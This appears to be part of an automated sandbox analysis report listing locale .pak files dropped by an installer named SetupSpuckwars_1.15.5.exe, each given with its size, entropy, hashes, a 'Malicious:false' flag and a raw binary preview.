                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3072:fznG4qRo+yixrD1r04XURrRpZd2hy/NPNQPkwRI6dIKhUNH7bbeCsy5SWbaabF/G:fzGBRo+911WlRpZd2yNp6k5AYxVk
                                                                                                                                  MD5:38CD3EF9B7DFF9EFBBE086FA39541333
                                                                                                                                  SHA1:321EF69A298D2F9830C14140B0B3B0B50BD95CB0
                                                                                                                                  SHA-256:D8FAB5714DAFECB89B3E5FCE4C4D75D2B72893E685E148E9B60F7C096E5B3337
                                                                                                                                  SHA-512:40785871032B222A758F29E0C6EC696FBE0F6F5F3274CC80085961621BEC68D7E0FB47C764649C4DD0C27C6EE02460407775FAE9D3A2A8A59362D25A39266CE0
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:............h.....i.....j.....k.....l.....m.....o.1...p.>...v.D...w.Q...y.W...z.f...|.l...}.~.........................................................................................3.....Q.....r.....x.............................(.....I.....K.....O.....w.........................................#.....J.....Z.....u..............................................._...........................................................9.....c.......................#.....3.....<.....D.....K.....T.....i.....y.............................B.....c................................... .....D.....G.....V.....q.....................................................$.....1.....D.................z.......................&.....Y.....h.....................................................7.....O...................................#.....C.....I... .R...".d...%.....(.....*.....+.....,.......J.../.h...0.q...1.....3.....4.....5.....6.g...7.....8.....9.....;.....<.....=.....>.:...?.D...@.Y...A.....C.....D.....E.....F.0...G.Z.

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\kn.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):960888
                                                                                                                                  Entropy (8bit):4.2704203524429865
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:P8nyRnHoS7yB/rt2o6i7u7b5frUb+7G+Vma:ti6X5jUA
                                                                                                                                  MD5:CAAB4DEB1C40507848F9610D849834CF
                                                                                                                                  SHA1:1BC87FF70817BA1E1FDD1B5CB961213418680CBE
                                                                                                                                  SHA-256:7A34483E6272F9B8881F0F5A725B477540166561C75B9E7AB627815D4BE1A8A4
                                                                                                                                  SHA-512:DC4B63E5A037479BB831B0771AEC0FE6EB016723BCD920B41AB87EF11505626632877073CE4E5E0755510FE19BA134A7B5899332ECEF854008B15639F915860C
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........7.h.t...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|."...}.4.....<.....A.....I.....Q.....Y.....`.....g.....n.....o.....p.....u...........>.....u.......................F.....g.....y...........<.....>.....J.....r.......................^.......................e.................1.....n.....................................................1.....l.....{.....~.................,.....l...........*.................-.....E.....M.....T.....f.............................I.......................S.................d.............................`.....c.......................E...............................................#.....6.....`.................".....=.................(...............................................@.............................".......................(.....h............... ....."."...%.....(.....*.....+.....,.;.....l.../.....0.....1.U...3.o...4.....5.....6.....7.....8.....9.V...;.....<.....=.....>.....?.....@.G...A.....C.....D.=.

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\ko.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):407632
                                                                                                                                  Entropy (8bit):6.124197697056213
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:Md9PhJeKVoCGet8Oh2J7klCqZ5T7BKI8LtCq7hUoqAX:Md91UJc5184AX
                                                                                                                                  MD5:D6194FC52E962534B360558061DE2A25
                                                                                                                                  SHA1:98ED833F8C4BEAC685E55317C452249579610FF8
                                                                                                                                  SHA-256:1A5884BD6665B2F404B7328DE013522EE7C41130E57A53038FC991EC38290D21
                                                                                                                                  SHA-512:5207A07426C6CEB78F0504613B6D2B8DADF9F31378E67A61091F16D72287ADBC7768D1B7F2A923369197E732426D15A872C091CF88680686581D48A7F94988AB
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:............h.....i.....j.....k.....l.....m.....o.....p.....r.....s.-...t.6...y.K...z.Z...|.`...}.r.....z.........................................................................................7.....D.....^.....k.....s.........................................3.....?.....L.....\.....c.....}.................................................................d.....z.................................................................%.....F.....j.......................................................................`.....v.............................*.....6.....L.....Y.....n.........................................................................................x...........D.....M.............................#.....6.....9.....L.....R.....[.....r...................................^.....n.....w.....}..................... .....".....%.....(.....*.M...+.P...,.........../.....0.....1.....3.....4.5...5.]...6.....7.....8.....9.....;.....<.....=.....>.....?./...@.C...A.q...C.....D.....E.....F.....G...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\lt.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):439793
                                                                                                                                  Entropy (8bit):5.6365541871793114
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:zXtEPi5jFX4VU4EzsnHIOBoU+1Qi7t5GkzvLdyaj+teJvxY2I96Su:CEmguHLBoUnU5TzvLWeJJG6Su
                                                                                                                                  MD5:64B08FFC40A605FE74ECC24C3024EE3B
                                                                                                                                  SHA1:516296E8A3114DDBF77601A11FAF4326A47975AB
                                                                                                                                  SHA-256:8A5D6E29833374E0F74FD7070C1B20856CB6B42ED30D18A5F17E6C2E4A8D783E
                                                                                                                                  SHA-512:05D207413186AC2B87A59681EFE4FDF9DC600D0F3E8327E7B9802A42306D80D0DDD9EE07D103B17CAF0518E42AB25B7CA9DA4713941ABC7BCED65961671164AC
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........S.h.<...i.M...j.Y...k.h...l.s...n.{...o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................!.....(...../.....6.....7.....8.....:.....h.....v...............................................&.....7.....9.....=.....e.....................................................(.....7.....Q.....f.....m.....v.....................................................6.....A.....L.....V.....l............................. .....G.....e.....n.....v.....}...............................................).....4.....K.....]................................................................./.....G.....^.....x...........................................................Y....................... .....A.....w...............................................*.....>.....r...............................................L.....Y... .n...".~...%.....(.....*.....+.....,.......6.../.Q...0.T...1.....3.....4.....5.....6.-...7.P...8.p...9.....;.....<.....=.....>.....?.....@.....A.I...C.j.

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\lv.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):437670
                                                                                                                                  Entropy (8bit):5.638618522703661
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:TjewdtAe6tN4tVFHzmstt4Uoo3W3sb3F5hZanXnEv9AhraszLOAty6ls1V:RR/v4UVWwF5UEabns1V
                                                                                                                                  MD5:A8CBD741A764F40B16AFEA275F240E7E
                                                                                                                                  SHA1:317D30BBAD8FD0C30DE383998EA5BE4EEC0BB246
                                                                                                                                  SHA-256:A1A9D84FD3AF571A57BE8B1A9189D40B836808998E00EC9BD15557B83D0E3086
                                                                                                                                  SHA-512:3DA91C0CA20165445A2D283DB7DC749FCF73E049BFFF346B1D79B03391AEFC7F1310D3AC2C42109044CFB50AFCF178DCF3A34B4823626228E591F328DD7AFE95
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........C.h.\...i.m...j.y...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.......$.....).....1.....9.....A.....H.....O.....V.....W.....X.....Z...........................................................3.....O.....Q.....U.....}...........................................................7.....Q.....b.....h.....n.....................................................,.....5.....8.....?.....U.....g.....y...........................................................'.....@.....c.....g.........................................9.....[.....l...........................................................1.....H.....O.....R.....S.....].....h.....p.....w.......................].....h.......................8.....C.....U.....\.....k.....n.....y...................................S............................................. .....".....%.'...(.A...*.^...+.a...,.........../.....0.....1.....3.....4.,...5.Q...6.....7.....8.....9.....<.....=.....>.....?.....@.....A.i...C.....D...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\ml.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):998155
                                                                                                                                  Entropy (8bit):4.3110320925732095
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:T6ALnHOE47/URV1BQMmWDcZubSAD7qcDs3eThx5D/7dZdO3cb:9Owoys3eT5D/79O3u
                                                                                                                                  MD5:1C81104AC2CBF7F7739AF62EB77D20D5
                                                                                                                                  SHA1:0F0D564F1860302F171356EA35B3A6306C051C10
                                                                                                                                  SHA-256:66005BC01175A4F6560D1E9768DBC72B46A4198F8E435250C8EBC232D2DAC108
                                                                                                                                  SHA-512:969294EAE8C95A1126803A35B8D3F1FC3C9D22350AA9CC76B2323B77AD7E84395D6D83B89DEB64565783405D6F7EAE40DEF7BDAF0D08DA67845AE9C7DBB26926
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........:.h.n...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.......6.....;.....C.....K.....S.....Z.....a.....h.....i.....j.....o.................Z.......................1.....O.................k.....m.....q.......................E.............................x.................Y.............................+....._...........6.....T.....{.............................5.......................u...........,.........................................#.....K...............................................:...........,.....f.............................".....f.......................O.....................................................i................._.....}.......................`.........................................s...........T...........&...........l.......................H.....s......... .....".....%.....(.....*.T...+.W...,.........../.....0.....1.....3.....4.....5.v...6.....7.R...8.....9.....;.S...<.p...=.....>.....?.....@.....A.U...C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\mr.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):816652
                                                                                                                                  Entropy (8bit):4.350418506868822
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3072:ZE7bv9/9xAvtACKjxUp0djbOXspvibMFFPMUh3RQR3KB+5lx14/H4bmHwMaZ0t4k:ZE7b1fOACsxZjAEV6yZ00VbJ5JgezP5
                                                                                                                                  MD5:2CF9F07DDF7A3A70A48E8B524A5AED43
                                                                                                                                  SHA1:974C1A01F651092F78D2D20553C3462267DDF4E9
                                                                                                                                  SHA-256:23058C0F71D9E40F927775D980524D866F70322E0EF215AA5748C239707451E7
                                                                                                                                  SHA-512:0B21570DEEFA41DEFC3C25C57B3171635BCB5593761D48A8116888CE8BE34C1499FF79C7A3EBBE13B5A565C90027D294C6835E92E6254D582A86750640FE90F2
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:........|.|.h.....i.....j.....k.....l.*...n.2...o.7...p.D...r.J...s.[...t.d...v.y...w.....y.....z.....|.....}.........................................................................q...................................5.....G.....Y.............................<.....a.......................,.....B.....w.......................^.....}.................................................................D.....M.....P.....l.......................A.......................<.....O.....W.....^.....j.............................2.............................J.......................P.....s...................................-.....N.....r.....................................................2...........b...................................K.....d.........................................@.................,.....m.......................:.....]............... .....".....%.J...(.....*.....+.....,.......!.../.]...0.j...1.....3.....4.4...5.n...6.....7.....8.X...9.....;.....<.....=.....>.%...?.8...@.g...A.....C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\ms.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):374453
                                                                                                                                  Entropy (8bit):5.272284824619555
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:DZ/AO2kUDrt2MBrIxFQJulcul5WkS/PSOW5soNY3MMyvek:DZ/ApkUDrt2MOxSIl51kP05RYcMA
                                                                                                                                  MD5:AEE105366A1870B9D10F0F897E9295DB
                                                                                                                                  SHA1:EEE9D789A8EEAFE593CE77A7C554F92A26A2296F
                                                                                                                                  SHA-256:C6471AEE5F34F31477D57F593B09CB1DE87F5FD0F9B5E63D8BAB4986CF10D939
                                                                                                                                  SHA-512:240688A0054BFEBE36EA2B056194EE07E87BBBEB7E385131C73A64AA7967984610FCB80638DD883837014F9BC920037069D0655E3E92A5922F76813AEDB185FA
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........8.h.r...i.z...j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.).....1.....6.....>.....F.....N.....U.....\.....c.....d.....e.....j...........................................................A.....X.....Z.....^...........................................................+.....9.....M.....Z.....a.....f.....u.......................................................................*.....9.....M.....d.......................................................................$.....6.....d.....x.....................................................).....=.....@.....T.....h.....z...................................................................................e...................................$...../.....A.....L.....V.....^.....e.....|...................................1.....F.....L.....R.....a.....v......... .....".....%.....(.....*.....+.....,.......$.../.:...0.D...1.x...3.....4.....5.....6.....7.....8.&...9.9...;.M...<.X...=.i...>.....?.....@.....A...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\nb.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):367614
                                                                                                                                  Entropy (8bit):5.435724855090923
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:TAJxNH0uqnIhgFYMqOp7fwcbgtmX07Sgzuu5Dn4XYnOGrr:ExdfqnPFYMqOp7fwcwSgB5Dn4LGrr
                                                                                                                                  MD5:55D5AD4EACB12824CFCD89470664C856
                                                                                                                                  SHA1:F893C00D8D4FDB2F3E7A74A8BE823E5E8F0CD673
                                                                                                                                  SHA-256:4F44789A2C38EDC396A31ABA5CC09D20FB84CD1E06F70C49F0664289C33CD261
                                                                                                                                  SHA-512:555D87BE8C97F466C6B3E7B23EC0210335846398C33DBA71E926FF7E26901A3908DBB0F639C93DB2D090C9D8BDA48EDDF196B1A09794D0E396B2C02B4720F37E
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........P.h.B...i.Y...j.e...k.t...l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.........................%.....-.....4.....;.....B.....C.....D.....F.....m.....x.................................................................".....J.....^.....v.....{.....................................................)...../.....5.....D.....T.....c.......................................................................-.....J.....c.....{.......................................................................+.....6.....@.....Y.....o.......................................................................%.....5.....I.....P.....S.....T.....[.....c.....n.....u.......................*...........x...........................................................,.....I.....`.....y...............................................'.....2... .7...".@...%.Z...(.z...*.....+.....,.........../.....0.....1.....3. ...4.:...5.O...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.....A.?...C.\.

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\nl.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):379453
                                                                                                                                  Entropy (8bit):5.379227569652463
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:KcJ9Smne7gqDO5EQHzpamU3D+qn7Cv5qPxOGpLMsLPW:Km9nCgqDO5ELrOv5qPxOGpLM+PW
                                                                                                                                  MD5:0F04BAC280035FAB018F634BCB5F53AE
                                                                                                                                  SHA1:4CAD76EAECD924B12013E98C3A0E99B192BE8936
                                                                                                                                  SHA-256:BE254BCDA4DBE167CB2E57402A4A0A814D591807C675302D2CE286013B40799B
                                                                                                                                  SHA-512:1256A6ACAC5A42621CB59EB3DA42DDEEACFE290F6AE4A92D00EBD4450A8B7CCB6F0CD5C21CF0F18FE4D43D0D7AEE87B6991FEF154908792930295A3871FA53DF
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........Y.h.0...i.A...j.M...k.\...l.g...n.o...o.t...p.....r.....s.....t.....v.....w.....y.....z.....|.....}...........................................#.....*.....+.....,...........\.....h.....x.................................................................).....A.....].....k.....{...............................................)...........7.....F.....V.....e.................................................................3.....K.....o.................................................................).....0.....E.....}.........................................'.....1.....?.....^.....a.....v.............................................................................).....k.......................+.....@.....X.................................................................3.....H.....f............................................. .....".....%.....(.+...*.D...+.G...,.e.....v.../.....0.....1.....3.....4.....5.....6.J...7.b...8.....9.....;.....<.....=.....>.....?.....@.....A.....C.8...D.B.

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\pl.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):422325
                                                                                                                                  Entropy (8bit):5.774687126444438
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:roj98jy/jojSoM/Z+Xgv3iWhbhvPeCUdxUwVTmNF1Qhjhd5UR405Y:ryMV+1Qhb5IY
                                                                                                                                  MD5:F1D48A7DCD4880A27E39B7561B6EB0AB
                                                                                                                                  SHA1:353C3BA213CD2E1F7423C6BA857A8D8BE40D8302
                                                                                                                                  SHA-256:2593C8B59849FBC690CBD513F06685EA3292CD0187FCF6B9069CBF3C9B0E8A85
                                                                                                                                  SHA-512:132DA2D3C1A4DAD5CCB399B107D7B6D9203A4B264EF8A65ADD11C5E8C75859115443E1C65ECE2E690C046A82687829F54EC855F99D4843F859AB1DD7C71F35A5
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........R.h.>...i.O...j.Y...k.h...l.s...n.{...o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................!.....(...../.....6.....7.....8.....:.....j.....y.....................................................!.....#.....'.....O.....g.................................................................*.....0.....6.....I.....].....o.............................................................................J.....f.............................................................................K....._.....j.....................................................<.....?.....N.....\.....k.......................................................................9.......................(.....E.....`.....................................................#.....=.....k...............................................9.....D... .M...".]...%.....(.....*.....+.....,.........../.....0."...1.Q...3.`...4.....5.....6.....7.....8.....9.....;.&...<.1...=.;...>.O...?.X...@.k...A.....C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\pt-BR.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):399250
                                                                                                                                  Entropy (8bit):5.432001310431886
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:oNssFqCoNBXBL3sNA65VyS15LqJVlLUoR1peV:oNssFqIF5uJH4oR/g
                                                                                                                                  MD5:8E931FFBDED8933891FB27D2CCA7F37D
                                                                                                                                  SHA1:AB0A49B86079D3E0EB9B684CA36EB98D1D1FD473
                                                                                                                                  SHA-256:6632BD12F04A5385012B5CDEBE8C0DAD4A06750DC91C974264D8FE60E8B6951D
                                                                                                                                  SHA-512:CF0F6485A65C13CF5DDD6457D34CDEA222708B0BB5CA57034ED2C4900FD22765385547AF2E2391E78F02DCF00B7A2B3AC42A3509DD4237581CFB87B8F389E48D
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........=.h.h...i.y...j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.(.....0.....5.....=.....E.....M.....T.....[.....b.....c.....d.....i...........................................................@.....U.....W.....[...........................................................'.....A.....a.....x...............................................!.....,.....<.....I.....M.....P.....W.....l.....z.....................................................&.....,.....7.....E.....].....g.....x...................................4.....>.....N.....[.....m...................................................................................%.....,.....<.....o.......................&.....;.....R.....z.................................................................G.....e............................................. .....".....%.)...(.?...*.Z...+.]...,.{........./.....0.....1.....3.....4.....5.'...6._...7.s...8.....9.....;.....<.....=.....>.....?.....@.....A.0...C.S...D.].

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\pt-PT.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):400379
                                                                                                                                  Entropy (8bit):5.412017917472705
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:dqPhA4zslBWfIw2ieJVJJxhmOcXLFIUK5IKM4RV6X:EJolB/2bfK5IKM4RG
                                                                                                                                  MD5:B4954B064E3F6A9BA546DDA5FA625927
                                                                                                                                  SHA1:584686C6026518932991F7DE611E2266D8523F9D
                                                                                                                                  SHA-256:EE1E014550B85E3D18FB5128984A713D9F6DE2258001B50DDD18391E7307B4A1
                                                                                                                                  SHA-512:CB3B465B311F83B972ECA1C66862B2C5D6EA6AC15282E0094AEA455123DDF32E85DF24A94A0AEDBE1B925FF3ED005BA1E00D5EE820676D7A5A366153ADE90EF7
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........2.h.~...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.&...|.,...}.>.....F.....K.....S.....[.....c.....j.....q.....x.....y.....z.....................................................!.....).....J.....\.....^.....b...........................................................).....<.....W.....o.....y.....................................................'.....4.....8.....;.....B.....[.....i.....z...............................................$.....*.....5.....C.....Y.....a.....r.........................................6.....A.....Q.....^.....p.............................................................................%...........5.....F.............................>.....R.....f...........................................................(.....U.....q............................................... ... .$...".8...%.S...(.i...*.....+.....,.........../.....0.....1.....3.&...4.J...5.n...6.....7.....8.....9.....;.....<.....=.....>.A...?.L...@.a...A.....C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\ro.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):412797
                                                                                                                                  Entropy (8bit):5.469387509353947
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:Lsg4/xnSFcFG1Y6vFEsif5QB0o1s21/oulzr:Lt7FcFG1Y6vesif5QKob/dr
                                                                                                                                  MD5:D2758F6ADBAEEA7CD5D95F4AD6DDE954
                                                                                                                                  SHA1:D7476DB23D8B0E11BBABF6A59FDE7609586BDC8A
                                                                                                                                  SHA-256:2B7906F33BFBE8E9968BCD65366E2E996CDF2F3E1A1FC56AD54BAF261C66954C
                                                                                                                                  SHA-512:8378032D6FEBEA8B5047ADA667CB19E6A41F890CB36305ACC2500662B4377CAEF3DC50987C925E05F21C12E32C3920188A58EE59D687266D70B8BFB1B0169A6E
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........Z.h.....i.?...j.I...k.X...l.c...n.k...o.p...p.}...r.....s.....t.....v.....w.....y.....z.....|.....}.................................................&.....'.....(.....*.....e.....t.......................................................................2.....S.....p.....y...............................................-.....D.....L....._.....s...............................................2.....=.....E.....b...................................>.....O.....W....._.....f.....l.....{...............................................+.....;.....b...........................................................'.....B.....`.....t.....{.....~...............................................].............................2.....b.....m.....................................................?.....g.........................................#...../... .9...".M...%.p...(.....*.....+.....,.........../.....0.....1.....3.?...4.[...5.{...6.....7.....8.....9.....;.....<.....=.(...>.C...?.K...@.Z...A.....C.....D...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\ru.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):672991
                                                                                                                                  Entropy (8bit):4.887128747074479
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:xkFzEroY5eXN2hHO3j/jHXzvMBJJWkKce8P/XzFGGJn/aZ/LNUFC0WGWajfG1UpM:xUQMi5y6d4
                                                                                                                                  MD5:2885BDE990EE3B30F2C54A4067421B68
                                                                                                                                  SHA1:AE16C4D534B120FDD68D33C091A0EC89FD58793F
                                                                                                                                  SHA-256:9FCDA0D1FAB7FFF7E2F27980DE8D94FF31E14287F58BD5D35929DE5DD9CBCDCA
                                                                                                                                  SHA-512:F7781F5C07FBF128399B88245F35055964FF0CDE1CC6B35563ABC64F520971CE9916827097CA18855B46EC6397639F5416A6E8386A9390AFBA4332D47D21693F
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:............h.(...i.9...j.E...k.T...l._...n.g...o.l...p.y...r.....s.....t.....v.....w.....y.....z.....|.....}.................................................".....#.....$.....&.....~...................................4.....>.....H.........................................-.....9.....X.....l...................................T.....w.............................E.....o.....y...............................................$.....?.....|.......................).....7.....?.....M.....n...................................H.....X.......................#.....D.....W.....{...................................<.....^...........................................................r.............................@.....g.............................).....>.....L.....z.................`.....~...........$.....U.....g.....{..................... .....".....%.,...(.r...*.....+.....,.........../.:...0.K...1.....3.....4.....5."...6.....7.....8.....9.....;.....<.1...=.E...>.|...?.....@.....A.-...C.e...D.v...E.....F...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\sk.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):426178
                                                                                                                                  Entropy (8bit):5.821396103086126
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:M43lA0ct/muNypigJ4BOn5aHSL9aQCqoLWGL:91cgsypipBI5aHSL9aQCDLd
                                                                                                                                  MD5:B7E97CC98B104053E5F1D6A671C703B7
                                                                                                                                  SHA1:0F7293F1744AE2CD858EB3431EE016641478AE7D
                                                                                                                                  SHA-256:B0D38869275D9D295E42B0B90D0177E0CA56A393874E4BB454439B8CE25D686F
                                                                                                                                  SHA-512:EF3247C6F0F4065A4B68DB6BF7E28C8101A9C6C791B3F771ED67B5B70F2C9689CEC67A1C864F423382C076E4CBB6019C1C0CB9AD0204454E28F749A69B6B0DE0
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........R.h.>...i.R...j.^...k.m...l.x...n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................&.....-.....4.....;.....<.....=.....?.....s.....................................................(.....=.....?.....C.....k.....................................................'.....7.....S.....b.....h.....p...........................................................-.....8.....V.....l.....~...........................................................#.....2.....I.....T.....o...................................8.....B.....P.....\.....k.............................................................................'...../.....;.....K.................?.....F.............................+.....F.....K.....W.....b.....k...................................N............................................. .....".....%.,...(.G...*.h...+.k...,.........../.....0.....1.....3.....4. ...5.?...6.v...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.Z...C.{...D.....E...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\sl.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):411437
                                                                                                                                  Entropy (8bit):5.49350335324308
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:tnerKYjnS4fhmi0i2iiBnnbANjbnPMum4ocyxPbPD/yu0zrVftjQLc35BdFPcNpU:lEjnSn1iHd35vtcqO+i/fz50qg
                                                                                                                                  MD5:CA763E801DE642E4D68510900FF6FABB
                                                                                                                                  SHA1:C32A871831CE486514F621B3AB09387548EE1CFF
                                                                                                                                  SHA-256:340E0BABE5FDDBFDA601C747127251CF111DD7D79D0D6A5EC4E8443B835027DE
                                                                                                                                  SHA-512:E2847CE75DE57DEB05528DD9557047EDCD15D86BF40A911EB97E988A8FDBDA1CD0E0A81320EADF510C91C826499A897C770C007DE936927DF7A1CC82FA262039
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........c.h.....i.-...j.7...k.F...l.Q...n.Y...o.^...p.k...r.q...s.....t.....v.....w.....y.....z.....|.....}.........................................................................B.....T.....b.....r.....z.....................................................F.....d.....|.......................................................................%.....4.....H.....W.......................................................................#.....=.....].....{.....................................................#...........>.....k.....u...............................................'.....6.....P.....U.....e.....x.............................................................................E.......................&.....I.....j.....................................................%.....=.....j...............................................&.....2... .<...".N...%.f...(.....*.....+.....,.........../.....0.....1.I...3.X...4.t...5.....6.....7.....8.....9.....;.#...<./...=.9...>.L...?.V...@.d...A.....C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\sr.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):630964
                                                                                                                                  Entropy (8bit):4.810757945626649
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:H0JfhK5lIRIS151RHexYzs+DN5W9xTvvWF37sQ/k/k/i:y5V9dN5Oxjn
                                                                                                                                  MD5:C68C235D8E696C098CF66191E648196B
                                                                                                                                  SHA1:5C967FBBD90403A755D6C4B2411E359884DC8317
                                                                                                                                  SHA-256:AB96A18177AF90495E2E3C96292638A775AA75C1D210CA6A6C18FBC284CD815B
                                                                                                                                  SHA-512:34D14D8CB851DF1EA8CD3CC7E9690EAF965D8941CFCAC1C946606115AD889630156C5FF47011B27C1288F8DF70E8A7DC41909A9FA98D75B691742EC1D1A5E653
                                                                                                                                  Malicious:false
